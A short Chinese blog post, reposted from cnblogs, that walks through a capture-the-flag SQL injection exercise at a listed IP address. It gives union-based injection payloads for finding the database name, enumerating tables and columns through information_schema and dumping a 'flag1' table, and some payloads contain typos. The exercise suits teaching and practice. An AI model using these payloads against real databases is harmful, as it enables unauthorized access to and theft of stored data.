sql注入联合查询

简单联合注入例题及过程

1需要获取字段总数
2获取数据库
3获取数据库里面的表
4然后获取数据库里面表的字段　　

例题地址 http://123.206.87.240:9001/sql/

 

 

先判断有几列

 

 

 

由此可知有二列

 

获取数据库

1" union select 1,database() #

 

获取表名

 

1" union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #

补充：

Table_schema	数据表所属的数据库名
Table_name	表名称

获取列名

输入

1" union select concat(column_name),2 from information schema. columns where table_ name = "flag1"#

得到了列名: flagl

 

爆内容

 

 1" union select flag1,2 from flag1#

 

 

转载于:https://www.cnblogs.com/kongbai-lacie/p/10908041.html